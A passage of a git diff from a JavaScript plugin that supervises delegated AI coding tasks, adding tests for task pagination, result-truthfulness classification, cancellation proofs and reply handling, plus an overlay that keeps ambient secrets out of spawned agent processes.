...receipt, + cwd: state, + created_at: `2026-08-20T00:00:0${second}.000Z`, + updated_at: `2026-08-20T00:00:0${second}.000Z`, + }); + await createTask({ + root: state, + prompt: 'keep this prompt private', + record: legitimateCompletedReceipt(stamp(3, { id: 'rtruth-legit-b' })), + }); + const ping = await createTask({ + root: state, + prompt: 'keep this prompt private', + record: zeroWorkPingTimeoutReceipt(stamp(2, {})), + }); + const pingStored = await readFile(ping.paths.record, 'utf8'); + await createTask({ + root: state, + prompt: 'keep this prompt private', + record: legitimateCompletedReceipt(stamp(1, { id: 'rtruth-legit-a' })), + }); + await createTask({ + root: state, + prompt: 'keep this prompt private', + record: legitimateFailedReceipt(stamp(0, {})), + }); + + const omitted = (await request({ + jsonrpc: '2.0', + id: 70, + method: 'tools/call', + params: { name: 'tasks', arguments: {} }, + })).result.structuredContent; + assert.deepEqual(omitted.tasks.map((task) => task.id), [ + 'rtruth-legit-b', + 'rtruth-ping-timeout', + 'rtruth-legit-a', + 'rtruth-legitimate-failed', + ]); + assert.equal(omitted.tasks.find((task) => task.id === 'rtruth-ping-timeout').state, 'failed'); + assert.equal(omitted.tasks.find((task) => task.id === 'rtruth-legit-a').state, 'succeeded'); + + const succeeded = (await request({ + jsonrpc: '2.0', + id: 71, + method: 'tools/call', + params: { name: 'tasks', arguments: { detail: 'full', state: 'succeeded', limit: 1 } }, + })).result.structuredContent; + assert.deepEqual(Object.keys(succeeded).sort(), ['detail', 'has_more', 'limit', 'next_cursor', 'tasks', 'total'].sort()); + assert.deepEqual(succeeded.tasks.map((task) => task.id), ['rtruth-legit-b']); + assert.equal(succeeded.tasks[0].state, 'succeeded'); + assert.equal(succeeded.tasks[0].status, 'completed'); + assert.equal(succeeded.total, 2); + assert.equal(succeeded.has_more, true); + assert.ok(succeeded.next_cursor); + assert.equal(succeeded.tasks.some((task) => task.id === 'rtruth-ping-timeout'), false); + + const succeededPage2 = (await request({ + jsonrpc: '2.0', + id: 72, + method: 'tools/call', + params: { + name: 'tasks', + arguments: { detail: 'full', state: 'succeeded', limit: 1, cursor: succeeded.next_cursor }, + }, + })).result.structuredContent; + assert.deepEqual(succeededPage2.tasks.map((task) => task.id), ['rtruth-legit-a']); + assert.equal(succeededPage2.total, 2); + assert.equal(succeededPage2.has_more, false); + assert.equal(succeededPage2.next_cursor, null); + assert.equal(succeededPage2.tasks[0].state, 'succeeded'); + + const compactFailed = (await request({ + jsonrpc: '2.0', + id: 73, + method: 'tools/call', + params: { name: 'tasks', arguments: { detail: 'compact', state: 'failed', limit: 1 } }, + })).result.structuredContent; + assert.deepEqual(compactFailed.tasks.map((task) => task.id), ['rtruth-ping-timeout']); + assert.equal(compactFailed.tasks[0].state, 'failed'); + assert.notEqual(compactFailed.tasks[0].state, 'succeeded'); + assert.equal(compactFailed.total, 2); + assert.equal(compactFailed.has_more, true); + + const compactFailedPage2 = (await request({ + jsonrpc: '2.0', + id: 74, + method: 'tools/call', + params: { + name: 'tasks', + arguments: { detail: 'compact', state: 'failed', limit: 1, cursor: compactFailed.next_cursor }, + }, + })).result.structuredContent; + assert.deepEqual(compactFailedPage2.tasks.map((task) => task.id), ['rtruth-legitimate-failed']); + assert.equal(compactFailedPage2.tasks[0].state, 'failed'); + assert.equal(compactFailedPage2.total, 2); + assert.equal(compactFailedPage2.has_more, false); + assert.equal(compactFailedPage2.next_cursor, null); + + const mismatched = await request({ + jsonrpc: '2.0', + id: 75, + method: 'tools/call', + params: { + name: 'tasks', + arguments: { detail: 'full', state: 'failed', limit: 1, cursor: succeeded.next_cursor }, + }, + }); + assert.equal(mismatched.result.isError, true); + assert.match(mismatched.result.structuredContent.error.code, /invalid_cursor/u); + + const after = await readFile(taskPaths(state, 'rtruth-ping-timeout').record, 'utf8'); + assert.equal(after, pingStored); + assert.match(after, /"schema": "codex-co-engineer.task.v1"/u); + assert.match(after, /"status": "completed"/u); + }); +}); + test('status fails local providers closed when the MCP environment lacks the user-bus locator', async () => { const environment = { ...process.env }; delete environment.XDG_RUNTIME_DIR; @@ -543,3 +758,58 @@ test('status fails local providers closed when the MCP environment lacks the use assert.equal(status.local_boundary.ready, false); for (const provider of ['grok', 'cursor-local', 'dsh']) assert.equal(status.readiness[provider].ready, false); }); + +test('invalid run submit stays on the five-tool catalog and creates no task artifacts', async () => { + await withServer(async ({ state, request }) => { + const listed = await request({ + jsonrpc: '2.0', + id: 1, + method: 'tools/list', + params: {}, + }); + assert.deepEqual(listed.result.tools.map((tool) => tool.name), [ + 'status', 'delegate', 'task', 'tasks', 'cancel', + ]); + const rejected = await request({ + jsonrpc: '2.0', + id: 2, + method: 'tools/call', + params: { + name: 'delegate', + arguments: { + run: { + run_id: 'NOT_A_RUN', + request_idempotency_key: 'sha256:' + 'a'.repeat(64), + identity: {}, + git: {}, + provenance: {}, + telemetry: {}, + assignments: [{ assignment_id: 'w1', task_id: 't1', provider: 'p22', model: 'x' }], + }, + }, + }, + }); + assert.equal(rejected.result.isError, true); + assert.ok(rejected.result.structuredContent.error.code === 'invalid_format' + || rejected.result.structuredContent.error.code === 'p22_not_a_provider' + || rejected.result.structuredContent.error.code === 'unknown_provider' + || rejected.result.structuredContent.error.code === 'unknown_key'); + const tasks = await request({ + jsonrpc: '2.0', + id: 3, + method: 'tools/call', + params: { name: 'tasks', arguments: {} }, + }); + assert.equal(tasks.result.structuredContent.tasks.length, 0); + const status = await request({ + jsonrpc: '2.0', + id: 4, + method: 'tools/call', + params: { name: 'status', arguments: {} }, + }); + assert.deepEqual(Object.keys(status.result.structuredContent).sort(), [ + 'active', 'capabilities', 'healthy', 'local_boundary', 'mcp_pending_call', + 'providers', 'readiness', 'tasks', 'version', + ].sort()); + }); +}); diff --git a/plugins/codex-co-engineer/test/v3-supervisor.test.mjs b/plugins/codex-co-engineer/test/v3-supervisor.test.mjs index fdb637d..d8899e6 100644 --- a/plugins/codex-co-engineer/test/v3-supervisor.test.mjs +++ b/plugins/codex-co-engineer/test/v3-supervisor.test.mjs @@ -1,7 +1,7 @@ import assert from 'node:assert/strict'; import { execFile } from 'node:child_process'; import { EventEmitter } from 'node:events'; -import { mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { mkdir, mkdtemp, readFile, rm, writeFile } from 'node:fs/promises'; import os from 'node:os'; import path from 'node:path'; import test from 'node:test'; @@ -9,14 +9,27 @@ import { promisify } from 'node:util'; import { cancelTask, + cleanupLocalTaskLifecycle, cleanupManagedWorkspace, + createSupervisorRunToolAdapter, createWriterWorkspace, + invokeRunTool, launchWorker, + settleLocalTaskLifecycle, submitTask, supervisorStatus, taskStatus, } from '../mcp/v3/supervisor.mjs'; -import { appendTaskEvent, createLaunchReservation, createTask, readRuntimeRecord, readTask, updateTask } from '../mcp/v3/task-store.mjs'; +import { recordNeedsAttention, submitReply } from '../mcp/v3/mailbox.mjs'; +import { + RUN_ID, + TASK_ID, + makeAttentionItem, + makeRunArgs, + makeRunReply, +} from './fixtures/r1-run-tool-adapter-fixtures.mjs'; +import { createClock, createLifecycleFns } from './fixtures/r1-run-runtime-fixtures.mjs'; +import { appendTaskEvent, createLaunchReservation, createTask, readRuntimeRecord, readTask, updateTask, writeRuntimeRecord } from '../mcp/v3/task-store.mjs'; import { runCursorCloudTask } from '../mcp/v3/cursor-cloud-worker.mjs'; const SHA = 'a'.repeat(40); @@ -182,6 +195,7 @@ test('Cursor Cloud origin preflight fails before task creation or provider launc await assert.rejects( submitTask({ task_id: 'cloud-preflight', provider: 'cursor-cloud', repo, prompt: 'must not launch', expected_duration_ms: 10_000 }, { root, + env: { CURSOR_API_KEY: 'test-key' }, execute, preflightCloudOrigin: async () => { throw Object.assign(new Error('origin missing'), { code: 'cursor_cloud_origin_missing' }); }, launch: async (request) => launches.push(request), @@ -208,6 +222,7 @@ test('Cloud submit pins the discovered SHA and rejects checkout advancement befo await assert.rejects( submitTask({ task_id: 'cloud-head-pin', provider: 'cursor-cloud', repo, prompt: 'must not dispatch', expected_duration_ms: 10_000 }, { root, + env: { CURSOR_API_KEY: 'test-key' }, launch: async ({ root: taskRoot, taskId }) => { assert.equal((await readTask(taskRoot, taskId)).task.starting_ref, firstHead.trim()); await run('git', ['-C', repo, '-c', 'user.name=Co-Engineer Test', '-c', 'user.email=test@example.invalid', 'commit', '--allow-empty', '-m', 'sha-two']); @@ -754,8 +769,246 @@ test('boundary rollback failure preserves a recoverable runtime and transport-lo stopBoundary: async (runtime) => { recovered = runtime; }, }); assert.deepEqual(recovered.process_boundary, receipt); + assert.equal(cancelled.status, 'transport_lost'); + assert.equal((await readTask(root, 'boundary-recovery')).task.status, 'transport_lost'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('cancel projects cancelled only after exact inactive_empty proof', async () => { + const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-supervisor-cancel-proof-')); + const repo = path.join(root, 'repo'); + const receipt = { + version: 1, + boundary: 'systemd-user-service-cgroup', + unit: 'codex-co-engineer-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.service', + description: 'codex-co-engineer-task:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + invocation_id: 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', + control_group: '/user.slice/user-1000.slice/user@1000.service/app.slice/codex-co-engineer-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.service', + }; + try { + await mkdir(repo); + await createTask({ + root, + prompt: 'cancel requires empty proof', + record: { + id: 'cancel-proof', + status: 'running', + provider: 'grok', + cwd: repo, + workspace_kind: 'managed-worktree', + worktree_task: 'cancel-proof', + }, + }); + await writeRuntimeRecord(root, 'cancel-proof', { + pid: 4242, + process_start_ticks: '100', + command: process.execPath, + process_boundary: receipt, + }); + const lockCalls = []; + const failed = await cancelTask(root, 'cancel-proof', { + stopBoundary: async () => ({ stopped: true, cgroup_empty: true }), + inspectBoundary: async () => ({ state: 'unknown', empty: false, stop_allowed: false, code: 'cgroup_not_empty' }), + execute: async (command, args) => { + lockCalls.push([command, args]); + throw new Error('lock must not be cleaned'); + }, + }); + assert.equal(failed.status, 'transport_lost'); + assert.equal(lockCalls.some((entry) => entry[1]?.[1] === 'clean'), false); + await updateTask(root, 'cancel-proof', { status: 'running' }); + const cancelled = await cancelTask(root, 'cancel-proof', { + stopBoundary: async () => ({ stopped: true, cgroup_empty: true }), + inspectBoundary: async () => ({ state: 'inactive_empty', empty: true, stop_allowed: false }), + execute: async (command, args) => { + lockCalls.push([command, args]); + if (args?.[1] === 'inspect') return { stdout: JSON.stringify({ state: 'unlocked' }) }; + if (args?.[1] === 'clean') throw new Error('already unlocked'); + return { stdout: '' }; + }, + }); assert.equal(cancelled.status, 'cancelled'); } finally { await rm(root, { recursive: true, force: true }); } }); + +test('completed receipts with a terminal transport error do not project succeeded', async () => { + const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-supervisor-rtruth-')); + try { + await createTask({ + root, + prompt: 'zero-work ping timeout', + record: { + id: 'ping-timeout', + status: 'completed', + provider: 'cursor-local', + cwd: root, + result: 'RetriableError [unavailable] PING timed out', + finished_at: new Date().toISOString(), + }, + }); + const value = await taskStatus(root, 'ping-timeout'); + assert.equal(value.state, 'failed'); + assert.equal(value.task.status, 'failed'); + assert.equal(value.task.error.code, 'completed_with_terminal_error'); + assert.doesNotMatch(value.task.error.message, /PING|RetriableError|unavailable/u); + assert.equal((await readTask(root, 'ping-timeout')).task.status, 'completed'); + const cancelled = await cancelTask(root, 'ping-timeout'); + assert.equal(cancelled.status, 'failed'); + assert.equal((await readTask(root, 'ping-timeout')).task.status, 'completed'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('exports identity-bound local lifecycle settlement without rewriting stored terminal status', async () => { + assert.equal(typeof settleLocalTaskLifecycle, 'function'); + assert.equal(typeof cleanupLocalTaskLifecycle, 'function'); + const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-supervisor-lifecycle-export-')); + try { + await createTask({ + root, + prompt: 'legacy terminal', + record: { + id: 'legacy-lifecycle', + status: 'completed', + provider: 'grok', + cwd: root, + result: 'ok', + finished_at: new Date().toISOString(), + }, + }); + const task = (await readTask(root, 'legacy-lifecycle')).task; + const settled = await settleLocalTaskLifecycle(root, task, null, { drainGraceMs: 0 }); + assert.equal(settled.version, 1); + assert.equal(settled.final, true); + assert.equal(settled.boundary, 'not_applicable'); + assert.equal(settled.cleanup, 'normal'); + assert.equal((await readTask(root, 'legacy-lifecycle')).task.status, 'completed'); + assert.equal((await readTask(root, 'legacy-lifecycle')).task.cleanup, undefined); + assert.equal(await cleanupLocalTaskLifecycle(root, task, null, { drainGraceMs: 0 }).then((value) => value.final), true); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('default run seams are durable P33/P34 authorities and cancel confirms', async () => { + const source = await readFile(new URL('../mcp/v3/supervisor.mjs', import.meta.url), 'utf8'); + assert.match(source, /createDurableRunSeams/u); + assert.match(source, /cancelled: projected.status === 'cancelled'/u); + assert.match(source, /deliverSupervisorSameSessionReplyV1/u); + assert.match(source, /options.seams \?\? \(/u); +}); + +test('production P34 reply binds supervisor same-session delivery exactly once', async () => { + const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-supervisor-p34-reply-')); + const lifecycle = createLifecycleFns({ final: true }); + try { + await createTask({ + root, + prompt: 'ask a question', + record: { + id: TASK_ID, + status: 'running', + provider: 'grok', + transport: 'acp', + cwd: root, + acp_session_id: 'sess-1', + }, + }); + await recordNeedsAttention(root, TASK_ID, { + session_id: 'sess-1', + question_id: 'q-1', + prompt: 'Choose the next writer step', + }); + const adapter = await createSupervisorRunToolAdapter({ + root, + delegateTask: async (plan) => ({ task_id: plan.task_id, status: 'dispatched', cursor: '0' }), + inspectTask: async (plan) => ({ + task_id: plan.task_id, + status: 'needs_attention', + cursor: plan.cursor ?? '0', + attention: { session_id: 'sess-1', question_id: 'q-1' }, + }), + cancelTaskFn: async (plan) => ({ task_id: plan.task_id, status: 'cancelled', cancelled: true }), + settleLocalTaskLifecycle: lifecycle.settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle: lifecycle.cleanupLocalTaskLifecycle, + clock: createClock(), + }); + await adapter.dispatch('delegate', makeRunArgs()); + const attention = await adapter.dispatch('task', { + run_id: RUN_ID, + attention: { items: [makeAttentionItem()] }, + }); + const batchId = attention.attention.batch_id; + assert.equal(typeof batchId, 'string'); + const replyBody = makeRunReply({ batchId }); + const first = await adapter.dispatch('task', { + run_id: RUN_ID, + run_reply: { + batch_id: batchId, + expected_revision: attention.attention.revision, + reply: replyBody, + }, + }); + assert.equal(first.operation, 'reply'); + assert.ok(first.attention.status === 'resolved' || first.attention.status === 'reply_committed'); + await assert.rejects( + () => submitReply(root, TASK_ID, { + session_id: 'sess-1', + question_id: 'q-1', + response: 'ship-it', + }), + (error) => error.code === 'reply_already_recorded', + ); + const second = await adapter.dispatch('task', { + run_id: RUN_ID, + run_reply: { + batch_id: batchId, + expected_revision: first.attention.revision, + reply: replyBody, + }, + }); + assert.ok(second.attention.status === 'resolved' || second.attention.status === 'reply_committed'); + const forged = await adapter.dispatch('task', { + run_id: RUN_ID, + run_reply: { + batch_id: batchId, + expected_revision: second.attention.revision, + reply: makeRunReply({ batchId, sessionId: 'sess-other', questionId: 'q-other' }), + }, + }).then(() => null, (error) => error); + assert.equal(forged?.code, 'attention_batch_reply_conflict'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('invokeRunTool preserves omitted 3.2.1 mode and R-TRUTH lifecycle authority', async () => { + const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-supervisor-run-tool-')); + try { + const omitted = await invokeRunTool(root, 'status', { detail: 'compact', include_tasks: false }); + assert.equal(omitted.mode, 'legacy'); + const single = await invokeRunTool(root, 'cancel', { task_id: 'legacy-task' }); + assert.equal(single.mode, 'legacy'); + const rejected = await invokeRunTool(root, 'delegate', { + run: { + run_id: 'NOT_A_RUN', + request_idempotency_key: 'sha256:' + 'a'.repeat(64), + identity: {}, + git: {}, + provenance: {}, + telemetry: {}, + assignments: [], + }, + }).then(() => null, (error) => error); + assert.equal(rejected?.code, 'invalid_format'); + assert.equal(typeof settleLocalTaskLifecycle, 'function'); + assert.equal(typeof cleanupLocalTaskLifecycle, 'function'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); diff --git a/plugins/codex-co-engineer/test/v3-task-store.test.mjs b/plugins/codex-co-engineer/test/v3-task-store.test.mjs index 0545b28..4fd57b2 100644 --- a/plugins/codex-co-engineer/test/v3-task-store.test.mjs +++ b/plugins/codex-co-engineer/test/v3-task-store.test.mjs @@ -10,15 +10,18 @@ import { EVENT_TAIL_PEEK_BYTES, MAX_EVENT_READ_BYTES, MAX_TASK_WAIT_MS, + TASK_SCHEMA, TEXT_DELTA_COALESCE_MS, appendTaskEvent, clearTaskLaunchReservation, createLaunchReservation, createTask, + decodeTasksCursor, isImmediateProgressEvent, isTextDeltaEvent, launchReservationActive, listTasks, + listTasksPage, parseEventCursor, parseTaskWaitMs, projectLiveLastEvent, @@ -34,6 +37,16 @@ import { waitForTaskProgress, writeRuntimeRecord, } from '../mcp/v3/task-store.mjs'; +import { + legitimateCancelledReceipt, + legitimateCompletedReceipt, + legitimateEnvironmentBlockedReceipt, + legitimateFailedReceipt, + legitimateTimeoutReceipt, + legitimateTransportLostReceipt, + quotedPingInSuccessfulResultReceipt, + zeroWorkPingTimeoutReceipt, +} from './fixtures/r1-supervisor-result-truthfulness-fixtures.mjs'; async function temporaryRoot() { return mkdtemp(path.join(tmpdir(), 'co-engineer-task-store-')); @@ -775,3 +788,149 @@ test('cursorless progress wait still wakes immediately on terminal, attention, a await rm(root, { recursive: true, force: true }); } }); + +test('listTasksPage applies classifier-derived public state before filter, total, and keyset pagination', async () => { + const root = await temporaryRoot(); + try { + const stamp = (second, receipt) => ({ + ...receipt, + cwd: root, + created_at: `2026-08-20T00:00:0${second}.000Z`, + updated_at: `2026-08-20T00:00:0${second}.000Z`, + }); + const stored = {}; + const writes = [ + ['rtruth-legit-b', legitimateCompletedReceipt(stamp(8, { id: 'rtruth-legit-b' }))], + ['rtruth-ping-timeout', zeroWorkPingTimeoutReceipt(stamp(7, {}))], + ['rtruth-legit-a', legitimateCompletedReceipt(stamp(6, { id: 'rtruth-legit-a' }))], + ['rtruth-legitimate-failed', legitimateFailedReceipt(stamp(5, {}))], + ['rtruth-quoted-ping', quotedPingInSuccessfulResultReceipt(stamp(4, {}))], + ['rtruth-legitimate-cancelled', legitimateCancelledReceipt(stamp(3, {}))], + ['rtruth-legitimate-timeout', legitimateTimeoutReceipt(stamp(2, {}))], + ['rtruth-legitimate-environment-blocked', legitimateEnvironmentBlockedReceipt(stamp(1, {}))], + ['rtruth-legitimate-transport-lost', legitimateTransportLostReceipt(stamp(0, {}))], + ]; + for (const [id, record] of writes) { + const created = await createTask({ root, prompt: 'keep this prompt private', record }); + stored[id] = await readFile(created.paths.record, 'utf8'); + } + + const omitted = await listTasksPage(root, { detail: 'full' }); + assert.equal(omitted.total, 9); + assert.equal(omitted.has_more, false); + assert.equal(omitted.next_cursor, null); + assert.deepEqual(omitted.tasks.map((task) => task.id), [ + 'rtruth-legit-b', + 'rtruth-ping-timeout', + 'rtruth-legit-a', + 'rtruth-legitimate-failed', + 'rtruth-quoted-ping', + 'rtruth-legitimate-cancelled', + 'rtruth-legitimate-timeout', + 'rtruth-legitimate-environment-blocked', + 'rtruth-legitimate-transport-lost', + ]); + assert.equal(omitted.tasks.find((task) => task.id === 'rtruth-ping-timeout').status, 'completed'); + + const succeeded = await listTasksPage(root, { detail: 'full', state: 'succeeded' }); + assert.deepEqual(succeeded.tasks.map((task) => task.id), [ + 'rtruth-legit-b', + 'rtruth-legit-a', + 'rtruth-quoted-ping', + ]); + assert.equal(succeeded.total, 3); + assert.equal(succeeded.has_more, false); + assert.equal(succeeded.next_cursor, null); + assert.equal(succeeded.tasks.some((task) => task.id === 'rtruth-ping-timeout'), false); + assert.equal(succeeded.tasks.some((task) => task.id === 'rtruth-legitimate-failed'), false); + + const succeededAlias = await listTasksPage(root, { detail: 'full', status: 'completed' }); + assert.deepEqual(succeededAlias.tasks.map((task) => task.id), succeeded.tasks.map((task) => task.id)); + assert.equal(succeededAlias.total, 3); + + const failed = await listTasksPage(root, { detail: 'full', state: 'failed' }); + assert.deepEqual(failed.tasks.map((task) => task.id), [ + 'rtruth-ping-timeout', + 'rtruth-legitimate-failed', + ]); + assert.equal(failed.total, 2); + assert.equal(failed.tasks.find((task) => task.id === 'rtruth-ping-timeout').status, 'completed'); + assert.equal(failed.tasks.find((task) => task.id === 'rtruth-legitimate-failed').status, 'failed'); + + const failedAlias = await listTasksPage(root, { detail: 'full', status: 'failed' }); + assert.deepEqual(failedAlias.tasks.map((task) => task.id), failed.tasks.map((task) => task.id)); + + const cancelled = await listTasksPage(root, { state: 'cancelled' }); + const timedOut = await listTasksPage(root, { state: 'timed_out' }); + const timeoutAlias = await listTasksPage(root, { status: 'timeout' }); + const blocked = await listTasksPage(root, { state: 'environment_blocked' }); + const lost = await listTasksPage(root, { state: 'transport_lost' }); + assert.deepEqual(cancelled.tasks.map((task) => task.id), ['rtruth-legitimate-cancelled']); + assert.deepEqual(timedOut.tasks.map((task) => task.id), ['rtruth-legitimate-timeout']); + assert.deepEqual(timeoutAlias.tasks.map((task) => task.id), ['rtruth-legitimate-timeout']); + assert.deepEqual(blocked.tasks.map((task) => task.id), ['rtruth-legitimate-environment-blocked']); + assert.deepEqual(lost.tasks.map((task) => task.id), ['rtruth-legitimate-transport-lost']); + + const page1 = await listTasksPage(root, { detail: 'compact', state: 'succeeded', limit: 1 }); + assert.deepEqual(page1.tasks.map((task) => task.id), ['rtruth-legit-b']); + assert.equal(page1.total, 3); + assert.equal(page1.has_more, true); + assert.ok(page1.next_cursor); + const page1Anchor = decodeTasksCursor(page1.next_cursor); + assert.equal(page1Anchor.id, 'rtruth-legit-b'); + assert.equal(page1Anchor.s, 'succeeded'); + assert.equal(page1Anchor.d, 'compact'); + + const page2 = await listTasksPage(root, { + detail: 'compact', + state: 'succeeded', + limit: 1, + cursor: page1.next_cursor, + }); + assert.deepEqual(page2.tasks.map((task) => task.id), ['rtruth-legit-a']); + assert.equal(page2.total, 3); + assert.equal(page2.has_more, true); + assert.equal(page2.tasks.some((task) => task.id === 'rtruth-ping-timeout'), false); + + const page3 = await listTasksPage(root, { + detail: 'compact', + state: 'succeeded', + limit: 1, + cursor: page2.next_cursor, + }); + assert.deepEqual(page3.tasks.map((task) => task.id), ['rtruth-quoted-ping']); + assert.equal(page3.total, 3); + assert.equal(page3.has_more, false); + assert.equal(page3.next_cursor, null); + + const failedPage1 = await listTasksPage(root, { detail: 'full', state: 'failed', limit: 1 }); + assert.deepEqual(failedPage1.tasks.map((task) => task.id), ['rtruth-ping-timeout']); + assert.equal(failedPage1.total, 2); + assert.equal(failedPage1.has_more, true); + const failedPage2 = await listTasksPage(root, { + detail: 'full', + state: 'failed', + limit: 1, + cursor: failedPage1.next_cursor, + }); + assert.deepEqual(failedPage2.tasks.map((task) => task.id), ['rtruth-legitimate-failed']); + assert.equal(failedPage2.total, 2); + assert.equal(failedPage2.has_more, false); + assert.equal(failedPage2.next_cursor, null); + + await assert.rejects( + () => listTasksPage(root, { detail: 'compact', state: 'failed', limit: 1, cursor: page1.next_cursor }), + (error) => error.code === 'invalid_cursor', + ); + + for (const [id, bytes] of Object.entries(stored)) { + assert.equal(await readFile(taskPaths(root, id).record, 'utf8'), bytes); + assert.match(bytes, /"schema": "codex-co-engineer.task.v1"/u); + } + assert.match(stored['rtruth-ping-timeout'], /"status": "completed"/u); + assert.equal((await readTask(root, 'rtruth-ping-timeout')).task.status, 'completed'); + assert.equal((await readTask(root, 'rtruth-ping-timeout')).task.schema, TASK_SCHEMA); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); diff --git a/scripts/process-boundary-preflight.mjs b/scripts/process-boundary-preflight.mjs index 24b86ba..56b2ba7 100644 --- a/scripts/process-boundary-preflight.mjs +++ b/scripts/process-boundary-preflight.mjs @@ -6,22 +6,17 @@ import os from 'node:os'; import path from 'node:path'; import { + classifyExactProcessIdentity, + freezeExactProcessIdentity, + inspectExactProcessBoundary, launchProcessBoundary, + observeExactProcessIdentity, probeProcessBoundary, + PROCESS_BOUNDARY_LIFECYCLE_BOUNDS_MS, stopProcessBoundary, } from '../plugins/codex-co-engineer/mcp/v3/process-boundary.mjs'; -function processAlive(pid) { - try { - process.kill(pid, 0); - return true; - } catch (error) { - if (error?.code === 'ESRCH') return false; - throw error; - } -} - -async function waitFor(read, predicate, timeoutMs = 5_000) { +async function waitFor(read, predicate, timeoutMs = PROCESS_BOUNDARY_LIFECYCLE_BOUNDS_MS.exact_unit_stop_and_empty_proof) { const deadline = Date.now() + timeoutMs; while (Date.now() < deadline) { try { @@ -35,11 +30,16 @@ async function waitFor(read, predicate, timeoutMs = 5_000) { throw new Error('Timed out waiting for the process-boundary acceptance condition.'); } +function descendantExited(classified) { + return classified?.class === 'exited' && classified.live !== true && classified.cgroup_empty_allowed === true; +} + const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-boundary-')); const fixture = path.join(root, 'worker.mjs'); const pidFile = path.join(root, 'descendant.pid'); let launched; let descendantPid; +let descendantIdentity; try { await writeFile(fixture, [ @@ -66,15 +66,39 @@ try { () => readFile(pidFile, 'utf8'), (value) => Number.isInteger(Number(value.trim())), )); - assert.equal(processAlive(descendantPid), true); - const stopped = await stopProcessBoundary(launched.handle); + const observed = await observeExactProcessIdentity(descendantPid); + descendantIdentity = freezeExactProcessIdentity(observed); + assert.equal(Boolean(descendantIdentity), true, JSON.stringify(observed)); + assert.equal(observed.state === 'Z' || observed.state === 'X' || observed.state === 'x', false); + const stopped = await stopProcessBoundary(launched.handle, { + rememberedIdentities: [descendantIdentity], + timeoutMs: PROCESS_BOUNDARY_LIFECYCLE_BOUNDS_MS.exact_unit_stop_and_empty_proof, + }); assert.equal(stopped.cgroup_empty, true); - await waitFor(async () => processAlive(descendantPid), (alive) => alive === false); + const proof = await waitFor(async () => { + const inspection = await inspectExactProcessBoundary(launched.receipt, { + rememberedIdentities: [descendantIdentity], + }); + const classified = classifyExactProcessIdentity({ + expected: descendantIdentity, + observed: await observeExactProcessIdentity(descendantIdentity.pid), + boundary: { + expected_cgroup: launched.handle.control_group, + expected_unit: launched.handle.unit, + expected_invocation_id: launched.handle.invocation_id, + unit_inactive: inspection.state === 'inactive_empty', + cgroup_empty: inspection.state === 'inactive_empty' && inspection.empty === true, + }, + }); + if (classified.class === 'containment_failure_live_outside_cgroup' || classified.class === 'pid_reuse' || classified.class === 'namespace_mismatch') { + throw Object.assign(new Error(`owned descendant classification ${classified.class}`), { code: classified.code ?? classified.class }); + } + return { inspection, classified }; + }, ({ inspection, classified }) => inspection.state === 'inactive_empty' && descendantExited(classified)); + assert.equal(proof.inspection.state, 'inactive_empty'); + assert.equal(proof.classified.live, false); process.stdout.write(`${JSON.stringify({ boundary: probe.boundary, cgroup_empty: true, detached_descendant_alive: false })}\n`); } finally { if (launched?.handle) await stopProcessBoundary(launched.handle).catch(() => {}); - if (descendantPid && processAlive(descendantPid)) { - try { process.kill(descendantPid, 'SIGKILL'); } catch {} - } await rm(root, { recursive: true, force: true }); } diff --git a/tools/acpx-vendor/src/hardening-overlay.mjs b/tools/acpx-vendor/src/hardening-overlay.mjs index ecc93e8..e798e08 100644 --- a/tools/acpx-vendor/src/hardening-overlay.mjs +++ b/tools/acpx-vendor/src/hardening-overlay.mjs @@ -247,6 +247,35 @@ async function coEngineerWaitForAgentTree(child, waitMs) { } } +function coEngineerClosedAgentEnvironment(sessionEnv) { + const env = Object.create(null); + if (sessionEnv == null || typeof sessionEnv !== 'object' || Array.isArray(sessionEnv)) return env; + for (const key of Object.keys(sessionEnv)) { + const value = sessionEnv[key]; + if (typeof key !== 'string' || typeof value !== 'string' || key.includes('\0') || value.includes('\0')) continue; + env[key] = value; + } + return env; +} + +/* + * ACPX's upstream builder starts from process.env. Co-Engineer never lets + * ambient Git/SSH/hosting/parent secrets reach Grok or Cursor Local ACP + * children: the child environment is exactly the closed projection passed + * as sessionOptions.env, or empty when that projection is omitted. + */ +buildAgentEnvironment = function coEngineerBuildAgentEnvironment(_authCredentials, sessionEnv) { + return coEngineerClosedAgentEnvironment(sessionEnv); +}; + +AcpRuntimeManager.prototype.createClient = function coEngineerCreateClient(options) { + const next = { + ...options, + closedProviderEnv: options.closedProviderEnv ?? this.options?.closedProviderEnv, + }; + return this.deps.clientFactory?.(next) ?? new AcpClient(next); +}; + /* * ACP agents are detached into their own POSIX process group. Terminal * children spawned by an agent may use their own group, so we snapshot and @@ -256,6 +285,7 @@ AcpClient.prototype.spawnAgentProcess = async function coEngineerSpawnAgentProce const spawnCommand = buildAgentSpawnCommand(plan.spawnCommand, plan.args, process.platform); const spawnedChild = spawn(spawnCommand.command, spawnCommand.args, { ...plan.spawnOptions, + env: coEngineerClosedAgentEnvironment(this.options?.closedProviderEnv ?? this.options?.sessionOptions?.env), detached: process.platform !== 'win32', windowsVerbatimArguments: spawnCommand.windowsVerbatimArguments, });